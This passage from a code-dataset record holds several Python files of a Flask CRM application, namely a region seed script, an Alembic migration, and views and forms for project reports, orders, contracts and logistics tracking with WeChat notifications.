[\"白山市\",\"松原市\",\"白城市\",\"辽源市\",\"四平市\",\"长春市\",\"吉林市\",\"延边朝鲜族自治州\",\"通化市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=jlx.id)\n db.session.add(item)\n db.session.commit()\n\nqhs = SalesAreaHierarchy(name=\"青海省\", level_grade=3)\ndb.session.add(qhs)\ndb.session.commit()\nfor name in [\"海北藏族自治州\",\"黄南藏族自治州\",\"玉树藏族自治州\",\"海西蒙古族藏族自治州\",\"果洛藏族自治州\",\"西宁市\",\"海东地区\",\"海南藏族自治州\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=qhs.id)\n db.session.add(item)\n db.session.commit()\n\nlns = SalesAreaHierarchy(name=\"辽宁省\", level_grade=3)\ndb.session.add(lns)\ndb.session.commit()\nfor name in [\"沈阳市\",\"朝阳市\",\"大连市\",\"丹东市\",\"抚顺市\",\"鞍山市\",\"盘锦市\",\"铁岭市\",\"辽阳市\",\"锦州市\",\"本溪市\",\"葫芦岛市\",\"阜新市\",\"营口市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=lns.id)\n db.session.add(item)\n db.session.commit()\n\njxs = SalesAreaHierarchy(name=\"江西省\", level_grade=3)\ndb.session.add(jxs)\ndb.session.commit()\nfor name in [\"鹰潭市\",\"南昌市\",\"宜春市\",\"萍乡市\",\"赣州市\",\"吉安市\",\"上饶市\",\"抚州市\",\"新余市\",\"九江市\",\"景德镇市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=jxs.id)\n db.session.add(item)\n db.session.commit()\n\nyns = SalesAreaHierarchy(name=\"云南省\", level_grade=3)\ndb.session.add(yns)\ndb.session.commit()\nfor name in [\"玉溪市\",\"迪庆藏族自治州\",\"保山市\",\"曲靖市\",\"红河哈尼族彝族自治州\",\"普洱市\",\"大理白族自治州\",\"怒江傈僳族自治州\",\"临沧市\",\"德宏傣族景颇族自治州\",\"昆明市\",\"丽江市\",\"西双版纳傣族自治州\",\"昭通市\",\"文山壮族苗族自治州\",\"楚雄彝族自治州\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=yns.id)\n db.session.add(item)\n db.session.commit()\n\ntws = SalesAreaHierarchy(name=\"台湾省\", level_grade=3)\ndb.session.add(tws)\ndb.session.commit()\nfor name in [\"新北市\",\"台北市\",\"台中市\",\"台南市\",\"高雄市\",\"基隆市\",\"新竹市\",\"嘉义市\",\"桃园县\",\"新竹县\",\"苗栗县\",\"彰化县\",\"南投县\",\"云林县\",\"嘉义县\",\"屏东县\",\"宜兰县\",\"花莲县\",\"台东县\",\"澎湖县\",\"金门县\",\"连江县\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=tws.id)\n db.session.add(item)\n db.session.commit()\n\ndb.session.commit()\n" }, { "alpha_fraction": 0.6379525661468506, "alphanum_fraction": 0.6641697883605957, "avg_line_length": 33.826087951660156, "blob_id": "c1738fbfd34f6aef1f5283e223165e004146d286", "content_id": "f7947a646a748a21d7ef7f45953ad1a6147d145b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1602, "license_type": "no_license", "max_line_length": 70, "num_lines": 46, "path": "/migrations/versions/0c451fc35b86_add_share_inventory.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add share_inventory\n\nRevision ID: 0c451fc35b86\nRevises: fe424f6b86a5\nCreate Date: 2017-03-28 14:09:45.798715\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '0c451fc35b86'\ndown_revision = 'fe424f6b86a5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('share_inventory',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('applicant_id', sa.Integer(), nullable=True),\n sa.Column('audit_id', sa.Integer(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('status', sa.String(length=50), nullable=True),\n sa.Column('batch_no', sa.String(length=50), nullable=True),\n sa.Column('product_name', sa.String(length=200), nullable=True),\n sa.Column('sku_option', sa.String(length=200), nullable=True),\n sa.Column('sku_code', sa.String(length=30), nullable=True),\n sa.Column('sku_id', sa.Integer(), nullable=True),\n sa.Column('production_date', sa.String(length=30), nullable=True),\n sa.Column('stocks', sa.Float(), nullable=True),\n sa.Column('price', sa.Float(), nullable=True),\n sa.Column('pic_files', sa.JSON(), nullable=True),\n sa.ForeignKeyConstraint(['applicant_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('share_inventory')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.3480831980705261, "alphanum_fraction": 0.36663946509361267, "avg_line_length": 47.5544548034668, "blob_id": "2132d852035956bd151935f528d820a8d2a206c9", "content_id": "facaef954508dff30ff2609e8db7d6d75cec8d41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5026, "license_type": "no_license", "max_line_length": 110, "num_lines": 101, "path": "/application/project_report/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom flask import Blueprint, flash, redirect, render_template, url_for, request, current_app\nfrom ..models import *\nfrom flask_login import current_user\nfrom ..wechat.models import WechatCall\nfrom .. import cache\n\n\nproject_report = Blueprint('project_report', __name__, template_folder='templates')\n\n\n@project_report.route(\"/index\", methods=['GET'])\ndef index():\n page_size = int(request.args.get('page_size', 10))\n page_index = int(request.args.get('page', 1))\n project_reports = ProjectReport.query.filter(\n ProjectReport.app_id.in_(set([user.id for user in current_user.get_subordinate_dealers()]))).order_by(\n ProjectReport.created_at.desc()).paginate(page_index, per_page=page_size, error_out=True)\n return render_template('project_report/index.html', project_reports=project_reports)\n\n\n@project_report.route(\"/<int:id>\", methods=['GET'])\ndef show(id):\n pr = ProjectReport.query.get_or_404(id)\n return render_template('project_report/show.html', project_report=pr)\n\n\n@project_report.route(\"/audit/<int:id>\", methods=['GET', 'POST'])\ndef audit(id):\n pr = ProjectReport.query.get_or_404(id)\n if request.method == 'POST':\n pr.status = request.form.get(\"status\")\n db.session.add(pr)\n db.session.commit()\n WechatCall.send_template_to_user(str(pr.app_id),\n \"lW5jdqbUIcAwTF5IVy8iBzZM-TXMn1hVf9qWOtKZWb0\",\n {\n \"first\": {\n \"value\": \"您的项目报备状态已更新\",\n \"color\": \"#173177\"\n },\n \"keyword1\": {\n \"value\": pr.report_no,\n \"color\": \"#173177\"\n },\n \"keyword2\": {\n \"value\": pr.status,\n \"color\": \"#173177\"\n },\n \"keyword3\": {\n \"value\": \"\",\n \"color\": \"#173177\"\n },\n \"remark\": {\n \"value\": \"感谢您的使用!\",\n \"color\": \"#173177\"\n },\n },\n url_for('project_report_show', id=pr.id)\n )\n flash('项目报备申请审核成功', 'success')\n cache.delete_memoized(current_user.get_project_report_num)\n return redirect(url_for('project_report.index'))\n return render_template('project_report/audit.html', project_report=pr)\n\n\n@project_report.route(\"/cancel/<int:id>\", methods=['GET'])\ndef cancel(id):\n pr = ProjectReport.query.get_or_404(id)\n pr.status = \"报备已取消\"\n db.session.add(pr)\n db.session.commit()\n WechatCall.send_template_to_user(str(pr.app_id),\n \"lW5jdqbUIcAwTF5IVy8iBzZM-TXMn1hVf9qWOtKZWb0\",\n {\n \"first\": {\n \"value\": \"您的项目报备状态已更新\",\n \"color\": \"#173177\"\n },\n \"keyword1\": {\n \"value\": pr.report_no,\n \"color\": \"#173177\"\n },\n \"keyword2\": {\n \"value\": pr.status,\n \"color\": \"#173177\"\n },\n \"keyword3\": {\n \"value\": \"\",\n \"color\": \"#173177\"\n },\n \"remark\": {\n \"value\": \"感谢您的使用!\",\n \"color\": \"#173177\"\n },\n },\n url_for('project_report_show', id=pr.id)\n )\n flash('项目报备申请取消成功', 'success')\n cache.delete_memoized(current_user.get_other_app_num)\n return redirect(url_for(\"project_report.index\"))\n" }, { "alpha_fraction": 0.6722972989082336, "alphanum_fraction": 0.6756756901741028, "avg_line_length": 36, "blob_id": "3f4dfb40dc0ab33938f989f5ff7321e419076937", "content_id": "584359b3dbba73382a6f8b5a68d68c58bc659b07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 356, "license_type": "no_license", "max_line_length": 96, "num_lines": 8, "path": "/application/design_application/forms.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom wtforms import Form, StringField, SelectField, TextAreaField\nfrom wtforms.validators import *\n\n\nclass DesignApplicationForm(Form):\n status = SelectField('申请状态', choices=[('新申请', '新申请'), ('申请通过', '申请通过'), ('申请不通过', '申请不通过')])\n dl_file_memo = TextAreaField('备注')\n" }, { "alpha_fraction": 0.5717405080795288, "alphanum_fraction": 0.5812965035438538, "avg_line_length": 57.26402282714844, "blob_id": "2eb13e68f901705808d830905cf5ddc483f2f3c2", "content_id": "b3f1d5d30d27b4e7b345ed2d2ac7490a84b151e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 43357, "license_type": "no_license", "max_line_length": 148, "num_lines": 731, "path": "/application/order_manage/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport json\nimport base64\nfrom flask import Blueprint, flash, redirect, render_template, url_for, request, send_file, current_app\nfrom flask.helpers import make_response\nfrom .. import app, cache\nfrom ..models import *\nfrom ..helpers import object_list, gen_qrcode, gen_random_string, delete_file\nfrom .forms import ContractForm, TrackingInfoForm1, TrackingInfoForm2, UserSearchForm\nfrom ..inventory.api import load_inventories_by_code, update_sku_by_code\nfrom application.utils import is_number\nfrom decimal import Decimal\nfrom flask_login import current_user\nfrom ..wechat.models import WechatCall\nfrom ..utils import add_months\nfrom functools import reduce\n\norder_manage = Blueprint('order_manage', __name__, template_folder='templates')\n\n\n@order_manage.route(\"/orders\", methods=['GET'])\ndef order_index():\n page_size = int(request.args.get('page_size', 10))\n page_index = int(request.args.get('page', 1))\n orders_page = Order.query.filter(\n Order.user_id.in_(set([user.id for user in current_user.get_subordinate_dealers()]))).order_by(\n Order.created_at.desc()).paginate(page_index, per_page=page_size, error_out=True)\n return render_template('order_manage/index.html', orders_page=orders_page)\n\n\n@order_manage.route(\"/orders/<int:id>\", methods=['GET'])\ndef order_show(id):\n order = Order.query.get_or_404(id)\n return render_template('order_manage/show.html', order=order)\n\n\n@order_manage.route(\"/orders/<int:id>/cancel\", methods=['GET'])\ndef order_cancel(id):\n order = Order.query.get_or_404(id)\n order.order_status = \"订单取消\"\n db.session.add(order)\n db.session.commit()\n return redirect(url_for(\"order_manage.order_index\"))\n\n\n@order_manage.route(\"/orders/<int:id>/new_contract\", methods=['GET', 'POST'])\ndef contract_new(id):\n order = Order.query.get_or_404(id)\n '''\n form = ContractForm(amount=request.form.get(\"amount\"),\n delivery_time=request.form.get(\"delivery_time\"),\n offer_no=request.form.get(\"offer_no\"),\n logistics_costs=request.form.get('logistics_costs'),\n live_floor_costs=request.form.get('live_floor_costs'),\n self_leveling_costs=request.form.get('self_leveling_costs'),\n crossed_line_costs=request.form.get('crossed_line_costs'),\n sticky_costs=request.form.get('sticky_costs'),\n full_adhesive_costs=request.form.get('full_adhesive_costs'),\n material_loss_percent=request.form.get('material_loss_percent'),\n other_costs=request.form.get('other_costs'),\n tax_costs=request.form.get('tax_costs'))\n '''\n if request.method == 'POST':\n params = {\n \"amount\": request.form.get(\"amount\"),\n \"delivery_time\": request.form.get(\"delivery_time\"),\n \"logistics_costs\": request.form.get('logistics_costs'),\n \"live_floor_costs\": request.form.get('live_floor_costs'),\n \"self_leveling_costs\": request.form.get('self_leveling_costs'),\n \"crossed_line_costs\": request.form.get('crossed_line_costs'),\n \"sticky_costs\": request.form.get('sticky_costs'),\n \"full_adhesive_costs\": request.form.get('full_adhesive_costs'),\n \"material_loss_percent\": request.form.get('material_loss_percent'),\n \"other_costs\": request.form.get('other_costs'),\n \"tax_costs\": request.form.get('tax_costs'),\n \"tax_price\": request.form.get('tax_price')\n }\n if not is_number(request.form.get(\"amount\")):\n flash('总金额必须为数字', 'warning')\n return render_template('order_manage/contract_new.html', order=order, params=params)\n current_app.logger.info(request.form.get(\"delivery_time\"))\n if request.form.get(\"delivery_time\") is None or request.form.get(\"delivery_time\") == '':\n flash('交货期必须填写', 'warning')\n return render_template('order_manage/contract_new.html', order=order, params=params)\n if not request.form.get(\"tax_costs\", '') == '':\n if not is_number(request.form.get(\"tax_costs\")):\n flash('税点必须为0-100之间的数字', 'warning')\n return render_template('order_manage/contract_new.html', order=order, params=params)\n if Decimal(request.form.get(\"tax_costs\")) > Decimal(\"100\") or Decimal(request.form.get(\"tax_costs\")) < Decimal(\"0\"):\n flash('税点必须为0-100之间的数字', 'warning')\n return render_template('order_manage/contract_new.html', order=order, params=params)\n if not is_number(request.form.get(\"material_loss_percent\")):\n flash('耗损百分比必须为0-100之间的数字', 'warning')\n return render_template('order_manage/contract_new.html', order=order, params=params)\n if Decimal(request.form.get(\"material_loss_percent\")) > Decimal(\"100\") or Decimal(request.form.get(\"material_loss_percent\")) < Decimal(\"0\"):\n flash('耗损百分比必须为0-100之间的数字', 'warning')\n return render_template('order_manage/contract_new.html', order=order, params=params)\n contract_no = \"SSCONTR%s\" % datetime.datetime.now().strftime('%y%m%d%H%M%S')\n total_amount = Decimal(\"0\")\n for order_content in order.order_contents:\n if not is_number(request.form.get(\"%sprice\" % order_content.id)):\n flash('产品单价必须为数字', 'warning')\n return render_template('order_manage/contract_new.html', order=order, params=params)\n if not is_number(request.form.get(\"%samount\" % order_content.id)):\n flash('产品总价必须为数字', 'warning')\n return render_template('order_manage/contract_new.html', order=order, params=params)\n total_amount += Decimal(request.form.get(\"%samount\" % order_content.id))\n order_content.price = request.form.get(\"%sprice\" % order_content.id)\n order_content.amount = request.form.get(\"%samount\" % order_content.id)\n order_content.memo = request.form.get(\"%smemo\" % order_content.id)\n db.session.add(order_content)\n contract_content = {\"amount\": request.form.get(\"amount\"),\n \"delivery_time\": request.form.get(\"delivery_time\"),\n \"offer_no\": 'YYS' + datetime.datetime.now().strftime('%y%m%d%H%M%S'),\n \"logistics_costs\": request.form.get('logistics_costs'),\n \"live_floor_costs\": request.form.get('live_floor_costs'),\n \"self_leveling_costs\": request.form.get('self_leveling_costs'),\n \"crossed_line_costs\": request.form.get('crossed_line_costs'),\n \"sticky_costs\": request.form.get('sticky_costs'),\n \"full_adhesive_costs\": request.form.get('full_adhesive_costs'),\n \"material_loss_percent\": request.form.get('material_loss_percent'),\n \"material_loss\": str(total_amount * Decimal(request.form.get(\"material_loss_percent\")) /\n Decimal(\"100\")),\n \"other_costs\": request.form.get('other_costs'),\n \"tax_costs\": request.form.get('tax_costs'),\n \"tax_price\": request.form.get('tax_price')}\n contract = Contract(\n contract_no=contract_no,\n order=order,\n contract_status=\"新合同\",\n product_status=\"未生产\",\n shipment_status=\"未出库\",\n payment_status='未付款',\n contract_content=contract_content,\n user=order.user\n )\n order.order_status = '生成合同'\n db.session.add(contract)\n db.session.add(order)\n db.session.commit()\n product_name = ''\n for content in order.order_contents:\n \"%s%s \" % (product_name, content.product_name)\n WechatCall.send_template_to_user(str(order.user_id),\n \"lW5jdqbUIcAwTF5IVy8iBzZM-TXMn1hVf9qWOtKZWb0\",\n {\n \"first\": {\n \"value\": \"您的订单状态已更改\",\n \"color\": \"#173177\"\n },\n \"keyword1\": {\n \"value\": order.order_no,\n \"color\": \"#173177\"\n },\n \"keyword2\": {\n \"value\": order.order_status,\n \"color\": \"#173177\"\n },\n \"keyword3\": {\n \"value\": product_name,\n \"color\": \"#173177\"\n },\n \"remark\": {\n \"value\": \"感谢您的使用!\",\n \"color\": \"#173177\"\n },\n },\n url_for('mobile_contract_show', id=order.id)\n )\n cache.delete_memoized(current_user.get_orders_num)\n flash(\"合同生成成功\", 'success')\n return redirect(url_for('order_manage.contract_index'))\n return render_template('order_manage/contract_new.html', order=order, params={})\n\n\n@order_manage.route(\"/contracts/<int:id>/edit_contract\", methods=['GET', 'POST'])\ndef contract_edit(id):\n contract = Contract.query.get_or_404(id)\n order = contract.order\n form = ContractForm(amount=contract.contract_content.get('amount'),\n delivery_time=contract.contract_content.get('delivery_time'),\n logistics_costs=contract.contract_content.get('logistics_costs'),\n live_floor_costs=contract.contract_content.get('live_floor_costs'),\n self_leveling_costs=contract.contract_content.get('self_leveling_costs'),\n crossed_line_costs=contract.contract_content.get('crossed_line_costs'),\n sticky_costs=contract.contract_content.get('sticky_costs'),\n full_adhesive_costs=contract.contract_content.get('full_adhesive_costs'),\n material_loss_percent=contract.contract_content.get('material_loss_percent'),\n other_costs=contract.contract_content.get('other_costs'),\n tax_costs=contract.contract_content.get('tax_costs'))\n if request.method == 'POST':\n if not is_number(request.form.get(\"amount\")):\n flash('总金额必须为数字', 'warning')\n return render_template('order_manage/contract_edit.html', form=form, order=order, contract=contract)\n current_app.logger.info(request.form.get(\"delivery_time\"))\n if request.form.get(\"delivery_time\") is None or request.form.get(\"delivery_time\") == '':\n flash('交货期必须填写', 'warning')\n return render_template('order_manage/contract_edit.html', form=form, order=order, contract=contract)\n if not request.form.get(\"tax_costs\", '') == '':\n if not is_number(request.form.get(\"tax_costs\")):\n flash('税点必须为0-100之间的数字', 'warning')\n return render_template('order_manage/contract_edit.html', form=form, order=order, contract=contract)\n if Decimal(request.form.get(\"tax_costs\")) > Decimal(\"100\") or Decimal(request.form.get(\"tax_costs\")) < Decimal(\"0\"):\n flash('税点必须为0-100之间的数字', 'warning')\n return render_template('order_manage/contract_edit.html', form=form, order=order, contract=contract)\n if not is_number(request.form.get(\"material_loss_percent\")):\n flash('耗损百分比必须为0-100之间的数字', 'warning')\n return render_template('order_manage/contract_edit.html', form=form, order=order, contract=contract)\n if Decimal(request.form.get(\"material_loss_percent\")) > Decimal(\"100\") or Decimal(request.form.get(\"material_loss_percent\")) < Decimal(\"0\"):\n flash('耗损百分比必须为0-100之间的数字', 'warning')\n return render_template('order_manage/contract_edit.html', form=form, order=order, contract=contract)\n total_amount = Decimal(\"0\")\n for order_content in order.order_contents:\n if not is_number(request.form.get(\"%sprice\" % order_content.id)):\n flash('产品单价必须为数字', 'warning')\n return render_template('order_manage/contract_edit.html', form=form, order=order, contract=contract)\n if not is_number(request.form.get(\"%samount\" % order_content.id)):\n flash('产品总价必须为数字', 'warning')\n return render_template('order_manage/contract_edit.html', form=form, order=order, contract=contract)\n total_amount += Decimal(request.form.get(\"%samount\" % order_content.id))\n order_content.price = request.form.get(\"%sprice\" % order_content.id)\n order_content.amount = request.form.get(\"%samount\" % order_content.id)\n order_content.memo = request.form.get(\"%smemo\" % order_content.id)\n db.session.add(order_content)\n contract_content = {\"amount\": request.form.get(\"amount\"),\n \"delivery_time\": request.form.get(\"delivery_time\"),\n \"logistics_costs\": request.form.get('logistics_costs'),\n \"live_floor_costs\": request.form.get('live_floor_costs'),\n \"self_leveling_costs\": request.form.get('self_leveling_costs'),\n \"crossed_line_costs\": request.form.get('crossed_line_costs'),\n \"sticky_costs\": request.form.get('sticky_costs'),\n \"full_adhesive_costs\": request.form.get('full_adhesive_costs'),\n \"material_loss_percent\": request.form.get('material_loss_percent'),\n \"material_loss\": str(total_amount * Decimal(request.form.get(\"material_loss_percent\")) /\n Decimal(\"100\")),\n \"other_costs\": request.form.get('other_costs'),\n \"tax_costs\": request.form.get('tax_costs'),\n \"tax_price\": request.form.get('tax_price')}\n contract.contract_content = contract_content\n db.session.add(contract)\n db.session.add(order)\n db.session.commit()\n product_name = ''\n for content in order.order_contents:\n \"%s%s \" % (product_name, content.product_name)\n WechatCall.send_template_to_user(str(order.user_id),\n \"lW5jdqbUIcAwTF5IVy8iBzZM-TXMn1hVf9qWOtKZWb0\",\n {\n \"first\": {\n \"value\": \"您的合同内容已更改\",\n \"color\": \"#173177\"\n },\n \"keyword1\": {\n \"value\": contract.contract_no,\n \"color\": \"#173177\"\n },\n \"keyword2\": {\n \"value\": \"合同内容修改\",\n \"color\": \"#173177\"\n },\n \"keyword3\": {\n \"value\": product_name,\n \"color\": \"#173177\"\n },\n \"remark\": {\n \"value\": \"感谢您的使用!\",\n \"color\": \"#173177\"\n },\n },\n url_for('mobile_contract_show', id=order.id)\n )\n flash(\"合同修改成功\", 'success')\n return redirect(url_for('order_manage.contract_index'))\n return render_template('order_manage/contract_edit.html', form=form, order=order, contract=contract)\n\n\n@order_manage.route(\"/orders/<int:id>/assign_sale_contact\", methods=['GET', 'POST'])\ndef assign_sale_contact(id):\n order = Order.query.get_or_404(id)\n if request.method == 'POST':\n order.sale_contract = request.form.get('sale_contact')\n order.sale_contract_id = 1\n db.session.add(order)\n db.session.commit()\n return redirect(url_for('order_manage.order_index'))\n return render_template('order_manage/assign_sale_contact.html', order=order)\n\n\n@order_manage.route(\"/payment_status_update/<int:contract_id>\", methods=['GET'])\ndef payment_status_update(contract_id):\n contract = Contract.query.get_or_404(contract_id)\n contract.payment_status = '已付款'\n db.session.add(contract)\n db.session.commit()\n flash(\"付款状态修改成功\", 'success')\n # cache.delete_memoized(current_user.get_finance_contract_num)\n return redirect(url_for('order_manage.finance_contract_index'))\n\n\n@order_manage.route(\"/contracts_index\", methods=['GET'])\ndef contract_index():\n page_size = int(request.args.get('page_size', 10))\n page_index = int(request.args.get('page', 1))\n contracts = Contract.query.filter(\n Contract.user_id.in_(set([user.id for user in current_user.get_subordinate_dealers()]))).order_by(\n Contract.created_at.desc()).paginate(page_index, per_page=page_size, error_out=True)\n return render_template('order_manage/contracts_index.html', contracts=contracts)\n\n\n@order_manage.route(\"/finance_contracts_index\", methods=['GET'])\ndef finance_contract_index():\n page_size = int(request.args.get('page_size', 10))\n page_index = int(request.args.get('page', 1))\n contracts = Contract.query.order_by(Contract.created_at.desc())\\\n .paginate(page_index, per_page=page_size, error_out=True)\n return render_template('order_manage/finance_contracts_index.html', contracts=contracts)\n\n\n@order_manage.route(\"/contracts_for_tracking\", methods=['GET'])\ndef contracts_for_tracking():\n page_size = int(request.args.get('page_size', 10))\n page_index = int(request.args.get('page', 1))\n contracts = Contract.query.filter_by(payment_status=\"已付款\").order_by(Contract.created_at.desc())\\\n .paginate(page_index, per_page=page_size, error_out=True)\n return render_template('order_manage/contracts_for_tracking.html', contracts=contracts)\n\n\n@order_manage.route(\"/contracts/<int:id>\", methods=['GET'])\ndef contract_show(id):\n contract = Contract.query.get_or_404(id)\n return render_template('order_manage/contract_show.html', contract=contract)\n\n\n@order_manage.route(\"/contract_offer/<int:id>\", methods=['GET'])\ndef contract_offer(id):\n contract = Contract.query.get_or_404(id)\n return render_template('order_manage/contract_offer.html', contract=contract)\n\n\n@order_manage.route('/tracking_infos')\ndef tracking_infos():\n page_size = int(request.args.get('page_size', 10))\n page_index = int(request.args.get('page', 1))\n query = TrackingInfo.query\n if request.args.get('contract_date_gt'):\n query = query.filter(TrackingInfo.contract_date >= request.args.get('contract_date_gt'))\n if request.args.get('contract_date_lt'):\n query = query.filter(TrackingInfo.contract_date <= request.args.get('contract_date_lt'))\n if request.args.get('contract_no'):\n query = query.filter(TrackingInfo.contract_no.contains(request.args.get('contract_no').strip()))\n if request.args.get('receiver_name'):\n query = query.filter(TrackingInfo.receiver_name.contains(request.args.get('receiver_name').strip()))\n if request.args.get('receiver_tel'):\n query = query.filter(TrackingInfo.receiver_tel.contains(request.args.get('receiver_tel').strip()))\n if request.args.get('delivery_status'):\n delivery_status = request.args.get('delivery_status')\n if delivery_status == '已发货':\n query = query.filter(TrackingInfo.delivery_date <= datetime.datetime.now())\n else:\n query = query.filter((TrackingInfo.delivery_date > datetime.datetime.now()) |\n (TrackingInfo.delivery_date == None))\n tracking_infos = query.order_by(TrackingInfo.created_at.desc()\n ).paginate(page_index, per_page=page_size, error_out=True)\n return render_template('order_manage/tracking_infos.html', tracking_infos=tracking_infos)\n\n\n@order_manage.route('/tracking_info/new/<int:contract_id>', methods = ['GET', 'POST'])\ndef tracking_info_new(contract_id):\n contract = Contract.query.get_or_404(contract_id)\n default_production_num = {}\n for order_content in contract.order.order_contents:\n default_production_num[order_content.sku_code] = order_content.number\n if not (order_content.batch_info == {} or order_content.batch_info is None):\n default_production_num[order_content.sku_code] = 0\n else:\n for inv in load_inventories_by_code(order_content.sku_code):\n for i in range(1, (len(inv.get(\"batches\")) + 1)):\n if int(inv.get(\"batches\")[i - 1].get('stocks')) > order_content.number:\n default_production_num[order_content.sku_code] = 0\n if not contract.shipment_status == '未出库':\n flash('不能重复生成物流状态', 'warning')\n return redirect(url_for('order_manage.contract_index'))\n if request.method == 'POST':\n form = TrackingInfoForm1(request.form)\n if form.validate():\n tracking_info = form.save(TrackingInfo(status='区域总监确认'))\n tracking_info.contract_no = contract.contract_no\n tracking_info.contract_date = contract.contract_date\n db.session.add(tracking_info)\n contract.shipment_status = '区域总监确认'\n db.session.add(contract)\n data_sku = []\n for order_content in contract.order.order_contents:\n if request.form.get('%s_production_num' % order_content.sku_code):\n order_content.production_num = request.form.get('%s_production_num' % order_content.sku_code)\n inventory_choose = []\n batches = []\n sub_num = 0\n for inv in load_inventories_by_code(order_content.sku_code):\n for i in range(1, (len(inv.get(\"batches\")) + 1)):\n if request.form.get('%s_%s_num' % (order_content.sku_code, inv.get(\"batches\")[i-1].get('inv_id'))):\n num = int(request.form.get('%s_%s_num' % (order_content.sku_code, inv.get(\"batches\")[i-1].get('inv_id'))))\n sub_num += num\n inv_id = inv.get(\"batches\")[i-1].get('inv_id')\n inventory_choose.append({\"username\": inv.get('user_name'),\n \"batch_no\": inv.get(\"batches\")[i-1].get('batch_no'),\n \"production_date\": inv.get(\"batches\")[i-1].get('production_date'),\n \"inv_id\": inv_id,\n \"num\": num})\n batches.append({\"inv_id\": inv_id, \"sub_stocks\": str(num)})\n data_sku.append({\"code\": order_content.sku_code, \"stocks_for_order\": str(-order_content.number), \"batches\": batches})\n order_content.inventory_choose = inventory_choose\n db.session.add(order_content)\n response = update_sku_by_code({\"sku_infos\": data_sku})\n if not response.status_code == 200:\n db.session.rollback()\n flash('物流状态创建失败', 'danger')\n return redirect(url_for('order_manage.tracking_info_new', contract_id=contract.id))\n db.session.commit()\n flash('物流状态创建成功', 'success')\n return redirect(url_for('order_manage.tracking_infos'))\n else:\n flash('对接人姓名和电话必须填写', 'danger')\n return redirect(url_for('order_manage.tracking_info_new', contract_id=contract.id))\n else:\n form = TrackingInfoForm1()\n return render_template('order_manage/tracking_info_new.html', contract=contract, form=form,\n default_production_num=default_production_num)\n\n\n@order_manage.route('/tracking_info/<int:id>/edit', methods=['GET', 'POST'])\ndef tracking_info_edit(id):\n tracking_info = TrackingInfo.query.get_or_404(id)\n contract = Contract.query.filter(Contract.contract_no == tracking_info.contract_no).first()\n logistics_company_infos = LogisticsCompanyInfo.query.order_by(LogisticsCompanyInfo.created_at.desc())\n delivery_infos_dict = {\n 'tracking_no': '物流单号',\n 'goods_weight': '货物重量(kg)',\n 'goods_count': '货物件数',\n 'duration': '运输时间',\n 'freight': '运费(元)',\n 'pickup_no': '提货号码'\n }\n # delivery_company, delivery_tel 改为联动\n # 需默认值 recipient, recipient_phone, recipient_address\n today = datetime.datetime.now().strftime('%F')\n if request.method == 'POST':\n form = TrackingInfoForm2(request.form)\n tracking_info = form.save(tracking_info)\n tracking_info.delivery_infos = {\n 'recipient': request.form.get('recipient'),\n 'recipient_phone': request.form.get('recipient_phone'),\n 'recipient_address': request.form.get('recipient_address'),\n 'tracking_no': request.form.get('tracking_no'),\n 'delivery_company': request.form.get('delivery_company'),\n 'delivery_tel': request.form.get('delivery_tel'),\n 'goods_weight': request.form.get('goods_weight'),\n 'goods_count': request.form.get('goods_count'),\n 'duration': request.form.get('duration'),\n 'freight': request.form.get('freight'),\n 'pickup_no': request.form.get('pickup_no')\n }\n db.session.add(tracking_info)\n db.session.commit()\n flash('物流状态更新成功', 'success') \n return redirect(url_for('order_manage.tracking_infos')) \n else:\n form = TrackingInfoForm2(obj=tracking_info)\n return render_template('order_manage/tracking_info_edit.html', tracking_info=tracking_info, form=form, today=today,\n contract=contract, delivery_infos_dict=sorted(delivery_infos_dict.items()),\n logistics_company_infos=logistics_company_infos)\n\n\n@order_manage.route('/tracking_info/<int:id>/generate_qrcode')\ndef tracking_info_generate_qrcode(id):\n tracking_info = TrackingInfo.query.get_or_404(id)\n if tracking_info.qrcode_image:\n return json.dumps({\n 'status': 'error', \n 'message': 'qrcode already existed'\n })\n # qrcode token is a unique random string, generated by a specific rule\n # format looks like 'R>S8=@Zr{2[9zI/6@{CONTRACT_NO}', encoded by BASE64\n string = '%s@%s' % (gen_random_string(length=16), tracking_info.contract_no)\n qrcode_token = base64.b64encode(string.encode()).decode()\n filename = gen_qrcode(qrcode_token)\n if filename:\n tracking_info.qrcode_token = qrcode_token\n tracking_info.qrcode_image = filename\n tracking_info.save\n else:\n return json.dumps({\n 'status': 'error',\n 'message': 'generate qrcode failed'\n })\n return json.dumps({\n 'status': 'success',\n 'image_path': tracking_info.qrcode_image_path\n })\n\n\"\"\"\n@order_manage.route('/tracking_info/<int:id>/delete_qrcode')\ndef tracking_info_delete_qrcode(id):\n tracking_info = TrackingInfo.query.get_or_404(id)\n if tracking_info.qrcode_token and tracking_info.qrcode_image:\n qrcode_image_path = tracking_info.qrcode_image_path\n tracking_info.qrcode_token = None\n tracking_info.qrcode_image = None\n tracking_info.save\n 